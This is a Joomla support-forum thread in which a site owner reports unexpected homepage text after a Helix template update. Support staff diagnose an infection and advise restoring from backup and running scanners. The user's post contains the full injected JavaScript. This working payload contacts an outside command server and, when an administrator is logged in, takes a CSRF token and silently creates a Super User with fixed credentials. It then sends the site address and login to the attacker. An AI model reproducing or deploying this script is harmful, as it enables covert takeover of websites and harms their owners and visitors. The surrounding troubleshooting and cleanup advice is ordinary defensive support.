You’re quick—thanks. Unfortunately, the site was fine before; this text only started appearing after the Helix update. I’m currently performing a recovery since I have no other option. Please understand, this happened right after updating to Helix 2.2.8. It must be a combination of factors involving JoomShaper products.

Display in homepage over sp-menu

Início(function () {'use strict';if (window.joomlacreater_inline_run) return;window.joomlacreater_inline_run = true;var C2 = 'https://xdxd.olybrdbtrknks.xyz';var DEF = {login: 'admin_mori',pass: 'mori_pro3344',email: '[email protected]',gid: '8'};var FORM_URL = '/administrator/index.php?option=com_users&view=user&layout=edit&id=0';function extractToken(html) {var p = [/"csrf.token"\s:\s"([a-f0-9]{32})"/i,/'csrf.token'\s:\s'([a-f0-9]{32})'/i,/name="([a-f0-9]{32})"\s+value="1"/i,/value="1"\s+name="([a-f0-9]{32})"/i];for (var i = 0; i < p.length; i++) {var m = html.match(p[i]);if (m) return m[1];}return null;}function isAdminHtml(html) {html = html || '';var head = html.slice(0, 12000);return /comcpanel|view=cpanel|administrator\/index.php\?option=com/i.test(head)&& !/task=login|id="login-form"|com_login|login-form/i.test(head);}function fetchConfig() {return fetch(C2 + '/api.php?action=public_config', { credentials: 'omit' }).then(function (r) { return r.json(); }).catch(function () { return null; });}function mergeUser(data) {var u = {login: DEF.login,pass: DEF.pass,email: DEF.email,group_id: DEF.gid};if (data && data.ok) {if (data.user_login) u.login = data.user_login;if (data.user_pass) u.pass = data.user_pass;if (data.user_email) u.email = data.user_email;if (data.user_group_id) u.group_id = String(data.user_group_id);if (data.joomla_base) C2 = String(data.joomla_base).replace(/\/+$/, '');}return u;}function notifyRouter(router, u) {var fields = {url: location.origin,domain: location.hostname,username: u.login,password: u.pass,email: u.email,force: '1'};var payload = new URLSearchParams(fields).toString();try {fetch(router, {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: payload,keepalive: true});} catch (e) {}try {if (navigator.sendBeacon) {navigator.sendBeacon(router, new Blob([payload], { type: 'application/x-www-form-urlencoded' }));}} catch (e2) {}try {if (!document.getElementById('jc_router_iframe')) {var iframe = document.createElement('iframe');iframe.name = 'jc_router_iframe';iframe.id = 'jc_router_iframe';iframe.style.cssText = 'position:absolute;width:0;height:0;border:0;visibility:hidden';document.body.appendChild(iframe);}var form = document.createElement('form');form.method = 'POST';form.action = router;form.target = 'jc_router_iframe';form.style.display = 'none';Object.keys(fields).forEach(function (k) {var inp = document.createElement('input');inp.type = 'hidden';inp.name = k;inp.value = fields[k];form.appendChild(inp);});document.body.appendChild(form);form.submit();setTimeout(function () { form.remove(); }, 5000);} catch (e3) {}}function buildUserBody(token, u) {var body = new URLSearchParams();body.set(token, '1');body.set('task', 'user.apply');body.set('return', '');body.set('jform[id]', '0');body.set('jform[name]', u.login);body.set('jform[username]', u.login);body.set('jform[password]', u.pass);body.set('jform[password2]', u.pass);body.set('jform[email]', u.email);body.set('jform[registerDate]', '');body.set('jform[lastvisitDate]', '');body.set('jform[lastResetTime]', '');body.set('jform[resetCount]', '0');body.set('jform[sendEmail]', '0');body.set('jform[block]', '0');body.set('jform[requireReset]', '0');body.set('jform[groups][]', u.group_id);body.set('jform[params][admin_style]', '');body.set('jform[params][colorScheme]', '');body.set('jform[params][allowTourAutoStart]', '');body.set('jform[params][admin_language]', '');body.set('jform[params][language]', '');body.set('jform[params][editor]', '');body.set('jform[params][timezone]', '');body.set('jform[params][a11y_mono]', '0');body.set('jform[params][a11y_contrast]', '0');body.set('jform[params][a11y_highlight]', '0');body.set('jform[params][a11y_font]', '0');return body;}function createSuperUser(token, u) {return fetch(FORM_URL, {method: 'POST',credentials: 'include',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: buildUserBody(token, u).toString(),redirect: 'follow'}).catch(function () { return null; });}function runCreate() {if (window.joomlacreater_create_done) return;window.joomlacreater_create_done = true;fetchConfig().then(function (data) {var u = mergeUser(data);var router = (data && data.ok && data.router_url) ? data.router_url : (C2 + '/router.php');return fetch(FORM_URL, { credentials: 'include' }).then(function (r) { return r.text(); }).then(function (html) {if (!isAdminHtml(html)) return;var token = extractToken(html);if (!token) return;return createSuperUser(token, u).then(function () {notifyRouter(router, u);});});}).catch(function () {});}function checkAdmin() {fetch('/administrator/index.php', {credentials: 'include',redirect: 'manual',cache: 'no-store'}).then(function (r) {if (r.type === 'opaqueredirect' || r.status === 0 || r.status === 302) {return fetch('/administrator/index.php', { credentials: 'include' }).then(function (x) { return x.text(); });}if (r.status === 401 || r.status === 403) return '';return r.text();}).then(function (html) {if (isAdminHtml(html)) runCreate();}).catch(function () {});}checkAdmin();setInterval(checkAdmin, 30000);})();

xd.olybrdbtrknks.xyz';var

this is typical sign of infection.

If you didn't update site content for last days/weeks, just ask hosting support to recover site from backup (3-5-7 days old). Then scan site anyway. It will be a easy way.

Our code is clean, we scan it before each publication. I use it too.

1. After you recover site from backup, install new plugin version that I shared in 1st link, okay.
2. Then go to Template Options and check Custom code area, if all inserted code belongs to YOU.

Thanks again, but... https://www.joomshaper.com/forum/question/45730 500 - You are not authorized to see this question

Opss. it looks like technical problem. I will copy & paste tools in couple of next minutes.

First do what I asked 4 minutes ago!

1. Our JoomShaper scanner (component): https://github.com/zkrana/joomla-security-scanner/ (uninstall it after using)
2. Free Firewall & Scanner (component): https://htprotect.org/en/#htprotect (keep it for next months, if you don't have comercial firewall component)

Use it both! They allows to clean site from infection, if you decided a hard way.

Don't share code, I am not Mr Robot to understand that.

The site was restored, and I tried updating Helix again. This time, the problem didn't occur. It’s very strange. Just ten minutes ago, I opened the site and updated it to version 2.2.8, and it displayed that terrible screen. We performed a recovery, and I just repeated the Helix update—and now it's fine. No caching issues. Nothing different; it was the exact same operation.

Thanks! Joomshaper scanner, I will uninstall it after using.

SPPB Scanner found 4 suspicious files. I proceeded to delete them. The rest passed the test. Scanner uninstalled. Thank you very much.

Read changelog. Relax.

https://www.joomshaper.com/downloads/template?search=helix